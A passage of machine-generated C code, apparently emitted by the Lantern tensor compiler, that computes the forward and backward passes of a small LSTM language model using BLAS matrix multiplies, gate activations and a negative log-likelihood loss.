26,50,20,1,x626,26,x630,50,1,x28,50);\n} else {\nfloat x1488 = 0.0f;\nfor(int x1489=0; x1489 < 1; x1489++) {\nfloat x1490 = x1488;\nfloat x1491 = x618[x1489];\nfloat x1492 = x1490 + x1491;\nx1488 = x1492;\n\n}\nfloat x1496 = x1488;\nfloat* x1497 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1498=0; x1498 < 1; x1498++) {\nx1497[x1498] = x1496;\n\n}\nfloat* x1502 = (float*)myMalloc(1 * sizeof(float));;\n// make sure the size of loss is 1\nfor(int x1504=0; x1504 < 1; x1504++) {\nx1502[x1504] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@35c19b35\nfor(int x1509=0; x1509 < 1; x1509++) {\nfloat x1510 = x1497[x1509];\nx158[x1509] = x1510;\n\n}\n// 'sum' gradient.\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x1519=0; x1519 < 1; x1519++) {\nfloat x1520 = x619[0];\nfloat x1521 = x1502[0];\nfloat x1522 = x1520 + x1521;\nx619[0] = x1522;\n\n}\n}\n};\nx129 += 400;\nint32_t x135 = x129;\nint32_t x136 = x135 + 400;\nint32_t x137 = x136 + 1;\nbool x138 = x137 >= x5;\nif (x138) {\nx129 = 0;\n} else {\n}\nint* x142 = (int32_t*)myMalloc(400 * sizeof(int32_t));;\nfor(int x145=0; x145 < 400; x145++) {\nint32_t x146 = x129;\nint32_t x147 = x146 + x145;\nint32_t x148 = x9[x147];\nx142[x145] = x148;\nint32_t x150 = x147 + 1;\nint32_t x151 = x9[x150];\nx143[x145] = x151;\n\n}\nfloat* x155 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x156 = (float*)myMalloc(1 * sizeof(float));;\n// allocate memory to save the final loss in CPU Tensor\nfor(int x161=0; x161 < 20; x161++) {\nint32_t x163 = x161 * 26;\nint32_t x164 = x163 * 20;\nfor(int x162=0; x162 < 20; x162++) {\nint32_t x167 = x162 * 20;\nint32_t x168 = x167 + x161;\nint32_t x169 = x142[x168];\nint32_t x165 = x162 * 26;\nint32_t x166 = x164 + x165;\nint32_t x170 = x166 + x169;\nx159[x170] = 1.0f;\n\n}\n\n}\nfloat* x177 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x178 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x179 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x180 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x181 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x182 = (float*)myMalloc(1000 * sizeof(float));;\nfloat** x2021 = (float**)myMalloc(6 * sizeof(float*));;\nx2021[0] = x177;\nx2021[1] = x178;\nx2021[2] = x179;\nx2021[3] = x180;\nx2021[4] = x181;\nx2021[5] = x182;\nfunction<void(int32_t,float**)> x183 = [&](int32_t x184,float** x185) {\nfloat** x187 = x185;\nfloat* x188 = x187[0];\nfloat* x189 = x187[1];\nfloat* x190 = x187[2];\nfloat* x191 = x187[3];\nfloat* x192 = x187[4];\nfloat* x193 = x187[5];\nint32_t x186 = x184;\nbool x194 = x186 < 20;\nif (x194) {\nint32_t x195 = x186 * 520;\nfloat* x196 = x159+x195;\nfloat* x197 = x176+x195;\nfloat* x198 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x196,26,x18,50,0,x198,50);\nfloat* x200 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x201 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x190,50,x29,50,0,x201,50);\nfloat* x203 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x204 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x205=0; x205 < 20; x205++) {\nint32_t x208 = 50 * x205;\nfor(int x207=0; x207 < 50; x207++) {\nint32_t x210 = x208 + x207;\nfloat x211 = x198[x210];\nfloat x212 = x201[x210];\nint32_t x209 = x207 + x208;\nfloat x213 = x211 + x212;\nx204[x209] = x213;\n\n}\n\n}\nfloat* x219 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x221 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x222=0; x222 < 20; x222++) {\nint32_t x224 = 50 * x222;\nfor(int x223=0; x223 < 50; x223++) {\nint32_t x226 = x224 + x223;\nfloat x227 = x204[x226];\nfloat x228 = x39[x223];\nint32_t x225 = x223 + x224;\nfloat x229 = x227 + x228;\nx221[x225] = x229;\n\n}\n\n}\nfloat* x235 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x236 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x238=0; x238 < 1000; x238++) {\nfloat x239 = x221[x238];\nfloat x240 = -1.0f * x239;\ndouble x241 = (double)x240;\ndouble x242 = exp(x241);\nfloat x243 = (float)x242;\nfloat x244 = x243 + 1.0f;\nfloat x245 = 1.0f / x244;\nx236[x238] = x245;\n\n}\nfloat* x249 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x250 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x196,26,x41,50,0,x250,50);\nfloat* x252 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x253 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x190,50,x50,50,0,x253,50);\nfloat* x255 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x256 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x257=0; x257 < 20; x257++) {\nint32_t x259 = 50 * x257;\nfor(int x258=0; x258 < 50; x258++) {\nint32_t x261 = x259 + x258;\nfloat x262 = x250[x261];\nfloat x263 = x253[x261];\nint32_t x260 = x258 + x259;\nfloat x264 = x262 + x263;\nx256[x260] = x264;\n\n}\n\n}\nfloat* x270 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x271 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x272=0; x272 < 20; x272++) {\nint32_t x274 = 50 * x272;\nfor(int x273=0; x273 < 50; x273++) {\nint32_t x276 = x274 + x273;\nfloat x277 = x256[x276];\nfloat x278 = x59[x273];\nint32_t x275 = x273 + x274;\nfloat x279 = x277 + x278;\nx271[x275] = x279;\n\n}\n\n}\nfloat* x285 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x286 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x287=0; x287 < 1000; x287++) {\nfloat x288 = x271[x287];\nfloat x289 = -1.0f * x288;\ndouble x290 = (double)x289;\ndouble x291 = exp(x290);\nfloat x292 = (float)x291;\nfloat x293 = x292 + 1.0f;\nfloat x294 = 1.0f / x293;\nx286[x287] = x294;\n\n}\nfloat* x298 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x299 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x196,26,x81,50,0,x299,50);\nfloat* x301 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x302 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x190,50,x90,50,0,x302,50);\nfloat* x304 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x305 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x306=0; x306 < 20; x306++) {\nint32_t x308 = 50 * x306;\nfor(int x307=0; x307 < 50; x307++) {\nint32_t x310 = x308 + x307;\nfloat x311 = x299[x310];\nfloat x312 = x302[x310];\nint32_t x309 = x307 + x308;\nfloat x313 = x311 + x312;\nx305[x309] = x313;\n\n}\n\n}\nfloat* x319 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x320 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x321=0; x321 < 20; x321++) {\nint32_t x323 = 50 * x321;\nfor(int x322=0; x322 < 50; x322++) {\nint32_t x325 = x323 + x322;\nfloat x326 = x305[x325];\nfloat x327 = x99[x322];\nint32_t x324 = x322 + x323;\nfloat x328 = x326 + x327;\nx320[x324] = x328;\n\n}\n\n}\nfloat* x334 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x335 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x336=0; x336 < 1000; x336++) {\nfloat x337 = x320[x336];\nfloat x338 = -1.0f * x337;\ndouble x339 = (double)x338;\ndouble x340 = exp(x339);\nfloat x341 = (float)x340;\nfloat x342 = x341 + 1.0f;\nfloat x343 = 1.0f / x342;\nx335[x336] = x343;\n\n}\nfloat* x347 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x348 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x196,26,x61,50,0,x348,50);\nfloat* x350 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x351 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x190,50,x70,50,0,x351,50);\nfloat* x353 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x354 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x355=0; x355 < 20; x355++) {\nint32_t x357 = 50 * x355;\nfor(int x356=0; x356 < 50; x356++) {\nint32_t x359 = x357 + x356;\nfloat x360 = x348[x359];\nfloat x361 = x351[x359];\nint32_t x358 = x356 + x357;\nfloat x362 = x360 + x361;\nx354[x358] = x362;\n\n}\n\n}\nfloat* x368 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x369 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x370=0; x370 < 20; x370++) {\nint32_t x372 = 50 * x370;\nfor(int x371=0; x371 < 50; x371++) {\nint32_t x374 = x372 + x371;\nfloat x375 = x354[x374];\nfloat x376 = x79[x371];\nint32_t x373 = x371 + x372;\nfloat x377 = x375 + x376;\nx369[x373] = x377;\n\n}\n\n}\nfloat* x383 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x384 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x385=0; x385 < 1000; x385++) {\nfloat x386 = x369[x385];\ndouble x387 = (double)x386;\ndouble x388 = tanh(x387);\nfloat x389 = (float)x388;\nx384[x385] = x389;\n\n}\nfloat* x393 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x394 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x395=0; x395 < 20; x395++) {\nint32_t x397 = 50 * x395;\nfor(int x396=0; x396 < 50; x396++) {\nint32_t x399 = x397 + x396;\nfloat x400 = x236[x399];\nfloat x401 = x192[x399];\nint32_t x398 = x396 + x397;\nfloat x402 = x400 * x401;\nx394[x398] = x402;\n\n}\n\n}\nfloat* x408 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x409 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x410=0; x410 < 20; x410++) {\nint32_t x412 = 50 * x410;\nfor(int x411=0; x411 < 50; x411++) {\nint32_t x414 = x412 + x411;\nfloat x415 = x286[x414];\nfloat x416 = x384[x414];\nint32_t x413 = x411 + x412;\nfloat x417 = x415 * x416;\nx409[x413] = x417;\n\n}\n\n}\nfloat* x423 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x424 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x425=0; x425 < 20; x425++) {\nint32_t x427 = 50 * x425;\nfor(int x426=0; x426 < 50; x426++) {\nint32_t x429 = x427 + x426;\nfloat x430 = x394[x429];\nfloat x431 = x409[x429];\nint32_t x428 = x426 + x427;\nfloat x432 = x430 + x431;\nx424[x428] = x432;\n\n}\n\n}\nfloat* x438 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x439 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x440=0; x440 < 1000; x440++) {\nfloat x441 = x424[x440];\ndouble x442 = (double)x441;\ndouble x443 = tanh(x442);\nfloat x444 = (float)x443;\nx439[x440] = x444;\n\n}\nfloat* x448 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x449 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x450=0; x450 < 20; x450++) {\nint32_t x452 = 50 * x450;\nfor(int x451=0; x451 < 50; x451++) {\nint32_t x454 = x452 + x451;\nfloat x455 = x335[x454];\nfloat x456 = x439[x454];\nint32_t x453 = x451 + x452;\nfloat x457 = x455 * x456;\nx449[x453] = x457;\n\n}\n\n}\nfloat* x463 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x464 = (float*)myMalloc(520 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,26,50,1,x449,50,x101,26,0,x464,26);\nfloat* x466 = (float*)myMalloc(520 * sizeof(float));;\nfor(int x467=0; x467 < 20; x467++) {\nint32_t x470 = 26 * x467;\nfor(int x469=0; x469 < 26; x469++) {\nint32_t x471 = x470 + x469;\nfloat x472 = x464[x471];\nfloat x473 = x110[x469];\nfloat x474 = x472 + x473;\nx464[x471] = x474;\n\n}\n\n}\nint* x480 = (int32_t*)myMalloc(20 * sizeof(int32_t));;\nfor(int x481=0; x481 < 20; x481++) {\nint32_t x482 = x481 * 20;\nint32_t x483 = x186 + x482;\nint32_t x484 = x143[x483];\nx480[x481] = x484;\n\n}\nfloat* x488 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x489 = 0;\nfor(int x490=0; x490 < 20; x490++) {\nfloat x491 = -3.4028235E38f;\nfor(int x492=0; x492 < 26; x492++) {\nint32_t x493 = x489;\nfloat x494 = x464[x493];\nfloat x495 = x491;\nbool x496 = x494 > x495;\nif (x496) {\nfloat x497 = x464[x493];\nx491 = x497;\n} else {\n}\nx489 += 1;\n\n}\nfloat x504 = x491;\nx488[x490] = x504;\n\n}\nfloat* x508 = (float*)myMalloc(520 * sizeof(float));;\nint32_t x509 = 0;\nfor(int x510=0; x510 < 20; x510++) {\nfor(int x511=0; x511 < 26; x511++) {\nint32_t x512 = x509;\nfloat x513 = x464[x512];\nfloat x514 = x488[x510];\nfloat x515 = x513 - x514;\ndouble x516 = (double)x515;\ndouble x517 = exp(x516);\nfloat x518 = (float)x517;\nx508[x512] = x518;\nx509 += 1;\n\n}\n\n}\nfloat* x525 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x526=0; x526 < 20; x526++) {\nint32_t x527 = x526;\nint32_t x528 = x526 * 26;\nint32_t x529 = x528;\nfor(int x530=0; x530 < 26; x530++) {\nfor(int x532=0; x532 < 1; x532++) {\nint32_t x533 = x527;\nint32_t x534 = x533 + x532;\nfloat x535 = x525[x534];\nint32_t x536 = x529;\nint32_t x537 = x536 + x532;\nfloat x538 = x508[x537];\nfloat x539 = x535 + x538;\nx525[x534] = x539;\n\n}\nx529 += 1;\n\n}\n\n}\nx509 = 0;\nfor(int x549=0; x549 < 20; x549++) {\nfloat x550 = x488[x549];\nfloat x551 = x525[x549];\ndouble x552 = (double)x551;\ndouble x553 = log(x552);\nfloat x554 = (float)x553;\nfloat x555 = x550 + x554;\nfor(int x556=0; x556 < 26; x556++) {\nint32_t x557 = x509;\nfloat x558 = x464[x557];\nfloat x559 = x558 - x555;\nx508[x557] = x559;\nx509 += 1;\n\n}\n\n}\nfloat* x566 = (float*)myMalloc(520 * sizeof(float));;\n// nllLoss forward in CPU\nfloat* x568 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x569 = 0;\nfor(int x570=0; x570 < 20; x570++) {\nint32_t x571 = x569;\nint32_t x572 = x480[x570];\nint32_t x573 = x571 + x572;\nfloat x574 = x508[x573];\nfloat x575 = -1.0f * x574;\nx568[x570] = x575;\nx569 += 26;\n\n}\nfloat* x580 = (float*)myMalloc(20 * sizeof(float));;\nfloat x581 = 0.0f;\nfor(int x582=0; x582 < 20; x582++) {\nfloat x583 = x581;\nfloat x584 = x568[x582];\nfloat x585 = x583 + x584;\nx581 = x585;\n\n}\nfloat x589 = x581;\nfloat* x590 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x591=0; x591 < 1; x591++) {\nx590[x591] = x589;\n\n}\nfloat* x595 = (float*)myMalloc(1 * sizeof(float));;\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x603 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x604=0; x604 < 1; x604++) {\nfloat x605 = x188[0];\nfloat x606 = x590[0];\nfloat x607 = x605 + x606;\nx603[x604] = x607;\n\n}\nfloat* x611 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x1529 = (float**)myMalloc(6 * sizeof(float*));;\nx1529[0] = x603;\nx1529[1] = x611;\nx1529[2] = x449;\nx1529[3] = x463;\nx1529[4] = x424;\nx1529[5] = x438;\nint32_t x612 = x186 + 1;\nx613(x612,x1529);\n// back prop for + op\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x1543=0; x1543 < 1; x1543++) {\nfloat x1544 = x189[0];\nfloat x1545 = x188[0];\nfloat x1546 = x590[0];\nfloat x1547 = x611[x1543];\nfloat x1548 = x1544 + x1547;\nx189[0] = x1548;\nfloat x1550 = x595[0];\nfloat x1551 = x188[0];\nfloat x1552 = x590[0];\nfloat x1553 = x611[x1543];\nfloat x1554 = x1550 + x1553;\nx595[0] = x1554;\n\n}\n// 'sum' gradient.\nif (x1065) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",20,1);\nassert(false && \"\");\n}\nfor(int x1563=0; x1563 < 20; x1563++) {\nfloat x1564 = x580[x1563];\nfloat x1565 = x595[0];\nfloat x1566 = x1564 + x1565;\nx580[x1563] = x1566;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nint32_t x1572 = 0;\nfor(int x1573=0; x1573 < 20; x1573++) {\nint32_t x1574 = x1572;\nint32_t x1575 = x480[x1573];\nint32_t x1576 = x1574 + x1575;\nfloat x1577 = x566[x1576];\nfloat x1578 = x580[x1573];\nfloat x1579 = -1.0f * x1578;\nfloat x1580 = x1577 + x1579;\nx566[x1576] = x1580;\nx1572 += 26;\n\n}\nfloat* x1585 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x1586=0; x1586 < 20; x1586++) {\nint32_t x1587 = x1586;\nint32_t x1588 = x1586 * 26;\nint32_t x1589 = x1588;\nfor(int x1590=0; x1590 < 26; x1590++) {\nfor(int x1591=0; x1591 < 1; x1591++) {\nint32_t x1592 = x1587;\nint32_t x1593 = x1592 + x1591;\nfloat x1594 = x1585[x1593];\nint32_t x1595 = x1589;\nint32_t x1596 = x1595 + x1591;\nfloat x1597 = x566[x1596];\nfloat x1598 = x1594 + x1597;\nx1585[x1593] = x1598;\n\n}\nx1589 += 1;\n\n}\n\n}\nint32_t x1607 = 0;\nfor(int x1608=0; x1608 < 20; x1608++) {\nfor(int x1609=0; x1609 < 26; x1609++) {\nint32_t x1610 = x1607;\nfloat x1611 = x466[x1610];\nfloat x1612 = x566[x1610];\nfloat x1613 = x508[x1610];\nfloat x1617 = x1585[x1608];\ndouble x1614 = (double)x1613;\ndouble x1615 = exp(x1614);\nfloat x1616 = (float)x1615;\nfloat x1618 = x1616 * x1617;\nfloat x1619 = x1612 - x1618;\nfloat x1620 = x1611 + x1619;\nx466[x1610] = x1620;\nx1607 += 1;\n\n}\n\n}\nfor(int x1627=0; x1627 < 20; x1627++) {\nint32_t x1629 = 26 * x1627;\nfor(int x1628=0; x1628 < 26; x1628++) {\nfloat x1631 = x111[x1628];\nint32_t x1630 = x1629 + x1628;\nfloat x1632 = x466[x1630];\nfloat x1633 = x1631 + x1632;\nx111[x1628] = x1633;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,26,1,x466,26,x101,26,1,x463,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,26,20,1,x449,50,x466,26,1,x109,26);\n// backprop for * op\nfor(int x1643=0; x1643 < 20; x1643++) {\nint32_t x1645 = 50 * x1643;\nfor(int x1644=0; x1644 < 50; x1644++) {\nint32_t x1646 = x1645 + x1644;\nfloat x1647 = x347[x1646];\nfloat x1648 = x335[x1646];\nfloat x1649 = x439[x1646];\nfloat x1650 = x463[x1646];\nfloat x1651 = x1650 * x1649;\nfloat x1652 = x1647 + x1651;\nx347[x1646] = x1652;\nfloat x1654 = x448[x1646];\nfloat x1655 = x335[x1646];\nfloat x1656 = x439[x1646];\nfloat x1657 = x463[x1646];\nfloat x1658 = x1657 * x1655;\nfloat x1659 = x1654 + x1658;\nx448[x1646] = x1659;\n\n}\n\n}\nfor(int x1665=0; x1665 < 1000; x1665++) {\nfloat x1666 = x438[x1665];\nfloat x1667 = x439[x1665];\nfloat x1670 = x448[x1665];\nfloat x1668 = x1667 * x1667;\nfloat x1669 = 1.0f - x1668;\nfloat x1671 = x1669 * x1670;\nfloat x1672 = x1666 + x1671;\nx438[x1665] = x1672;\n\n}\n// back prop for + op\nfor(int x1677=0; x1677 < 20; x1677++) {\nint32_t x1679 = 50 * x1677;\nfor(int x1678=0; x1678 < 50; x1678++) {\nint32_t x1680 = x1679 + x1678;\nfloat x1681 = x408[x1680];\nfloat x1682 = x394[x1680];\nfloat x1683 = x409[x1680];\nfloat x1684 = x438[x1680];\nfloat x1685 = x1681 + x1684;\nx408[x1680] = x1685;\nfloat x1687 = x423[x1680];\nfloat x1688 = x394[x1680];\nfloat x1689 = x409[x1680];\nfloat x1690 = x438[x1680];\nfloat x1691 = x1687 + x1690;\nx423[x1680] = x1691;\n\n}\n\n}\n// backprop for * op\nfor(int x1698=0; x1698 < 20; x1698++) {\nint32_t x1700 = 50 * x1698;\nfor(int x1699=0; x1699 < 50; x1699++) {\nint32_t x1701 = x1700 + x1699;\nfloat x1702 = x298[x1701];\nfloat x1703 = x286[x1701];\nfloat x1704 = x384[x1701];\nfloat x1705 = x423[x1701];\nfloat x1706 = x1705 * x1704;\nfloat x1707 = x1702 + x1706;\nx298[x1701] = x1707;\nfloat x1709 = x393[x1701];\nfloat x1710 = x286[x1701];\nfloat x1711 = x384[x1701];\nfloat x1712 = x423[x1701];\nfloat x1713 = x1712 * x1710;\nfloat x1714 = x1709 + x1713;\nx393[x1701] = x1714;\n\n}\n\n}\n// backprop for * op\nfor(int x1721=0; x1721 < 20; x1721++) {\nint32_t x1723 = 50 * x1721;\nfor(int x1722=0; x1722 < 50; x1722++) {\nint32_t x1724 = x1723 + x1722;\nfloat x1725 = x249[x1724];\nfloat x1726 = x236[x1724];\nfloat x1727 = x192[x1724];\nfloat x1728 = x408[x1724];\nfloat x1729 = x1728 * x1727;\nfloat x1730 = x1725 + x1729;\nx249[x1724] = x1730;\nfloat x1732 = x193[x1724];\nfloat x1733 = x236[x1724];\nfloat x1734 = x192[x1724];\nfloat x1735 = x408[x1724];\nfloat x1736 = x1735 * x1733;\nfloat x1737 = x1732 + x1736;\nx193[x1724] = x1737;\n\n}\n\n}\nfor(int x1743=0; x1743 < 1000; x1743++) {\nfloat x1744 = x383[x1743];\nfloat x1745 = x384[x1743];\nfloat x1748 = x393[x1743];\nfloat x1746 = x1745 * x1745;\nfloat x1747 = 1.0f - x1746;\nfloat x1749 = x1747 * x1748;\nfloat x1750 = x1744 + x1749;\nx383[x1743] = x1750;\n\n}\n// back prop for + op\nfor(int x1755=0; x1755 < 20; x1755++) {\nint32_t x1757 = 50 * x1755;\nfor(int x1756=0; x1756 < 50; x1756++) {\nint32_t x1758 = x1757 + x1756;\nfloat x1759 = x368[x1758];\nfloat x1760 = x354[x1758];\nfloat x1761 = x79[x1756];\nfloat x1762 = x383[x1758];\nfloat x1763 = x1759 + x1762;\nx368[x1758] = x1763;\nfloat x1765 = x80[x1756];\nfloat x1766 = x354[x1758];\nfloat x1767 = x79[x1756];\nfloat x1768 = x383[x1758];\nfloat x1769 = x1765 + x1768;\nx80[x1756] = x1769;\n\n}\n\n}\n// back prop for + op\nfor(int x1776=0; x1776 < 20; x1776++) {\nint32_t x1778 = 50 * x1776;\nfor(int x1777=0; x1777 < 50; x1777++) {\nint32_t x1779 = x1778 + x1777;\nfloat x1780 = x350[x1779];\nfloat x1781 = x348[x1779];\nfloat x1782 = x351[x1779];\nfloat x1783 = x368[x1779];\nfloat x1784 = x1780 + x1783;\nx350[x1779] = x1784;\nfloat x1786 = x353[x1779];\nfloat x1787 = x348[x1779];\nfloat x1788 = x351[x1779];\nfloat x1789 = x368[x1779];\nfloat x1790 = x1786 + x1789;\nx353[x1779] = x1790;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x353,50,x70,50,1,x191,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x190,50,x353,50,1,x78,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x350,50,x61,50,1,x197,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x196,26,x350,50,1,x69,50);\nfor(int x1802=0; x1802 < 1000; x1802++) {\nfloat x1803 = x334[x1802];\nfloat x1804 = x335[x1802];\nfloat x1807 = x347[x1802];\nfloat x1805 = 1.0f - x1804;\nfloat x1806 = x1805 * x1804;\nfloat x1808 = x1806 * x1807;\nfloat x1809 = x1803 + x1808;\nx334[x1802] = x1809;\n\n}\n// back prop for + op\nfor(int x1814=0; x1814 < 20; x1814++) {\nint32_t x1816 = 50 * x1814;\nfor(int x1815=0; x1815 < 50; x1815++) {\nint32_t x1817 = x1816 + x1815;\nfloat x1818 = x319[x1817];\nfloat x1819 = x305[x1817];\nfloat x1820 = x99[x1815];\nfloat x1821 = x334[x1817];\nfloat x1822 = x1818 + x1821;\nx319[x1817] = x1822;\nfloat x1824 = x100[x1815];\nfloat x1825 = x305[x1817];\nfloat x1826 = x99[x1815];\nfloat x1827 = x334[x1817];\nfloat x1828 = x1824 + x1827;\nx100[x1815] = x1828;\n\n}\n\n}\n// back prop for + op\nfor(int x1835=0; x1835 < 20; x1835++) {\nint32_t x1837 = 50 * x1835;\nfor(int x1836=0; x1836 < 50; x1836++) {\nint32_t x1838 = x1837 + x1836;\nfloat x1839 = x301[x1838];\nfloat x1840 = x299[x1838];\nfloat x1841 = x302[x1838];\nfloat x1842 = x319[x1838];\nfloat x1843 = x1839 + x1842;\nx301[x1838] = x1843;\nfloat x1845 = x304[x1838];\nfloat x1846 = x299[x1838];\nfloat x1847 = x302[x1838];\nfloat x1848 = x319[x1838];\nfloat x1849 = x1845 + x1848;\nx304[x1838] = x1849;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x304,50,x90,50,1,x191,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x190,50,x304,50,1,x98,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x301,50,x81,50,1,x197,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x196,26,x301,50,1,x89,50);\nfor(int x1861=0; x1861 < 1000; x1861++) {\nfloat x1862 = x285[x1861];\nfloat x1863 = x286[x1861];\nfloat x1866 = x298[x1861];\nfloat x1864 = 1.0f - x1863;\nfloat x1865 = x1864 * x1863;\nfloat x1867 = x1865 * x1866;\nfloat x1868 = x1862 + x1867;\nx285[x1861] = x1868;\n\n}\n// back prop for + op\nfor(int x1873=0; x1873 < 20; x1873++) {\nint32_t x1875 = 50 * x1873;\nfor(int x1874=0; x1874 < 50; x1874++) {\nint32_t x1876 = x1875 + x1874;\nfloat x1877 = x270[x1876];\nfloat x1878 = x256[x1876];\nfloat x1879 = x59[x1874];\nfloat x1880 = x285[x1876];\nfloat x1881 = x1877 + x1880;\nx270[x1876] = x1881;\nfloat x1883 = x60[x1874];\nfloat x1884 = x256[x1876];\nfloat x1885 = x59[x1874];\nfloat x1886 = x285[x1876];\nfloat x1887 = x1883 + x1886;\nx60[x1874] = x1887;\n\n}\n\n}\n// back prop for + op\nfor(int x1894=0; x1894 < 20; x1894++) {\nint32_t x1896 = 50 * x1894;\nfor(int x1895=0; x1895 < 50; x1895++) {\nint32_t x1897 = x1896 + x1895;\nfloat x1898 = x252[x1897];\nfloat x1899 = x250[x1897];\nfloat x1900 = x253[x1897];\nfloat x1901 = x270[x1897];\nfloat x1902 = x1898 + x1901;\nx252[x1897] = x1902;\nfloat x1904 = x255[x1897];\nfloat x1905 = x250[x1897];\nfloat x1906 = x253[x1897];\nfloat x1907 = x270[x1897];\nfloat x1908 = x1904 + x1907;\nx255[x1897] = x1908;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x255,50,x50,50,1,x191,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x190,50,x255,50,1,x58,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x252,50,x41,50,1,x197,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 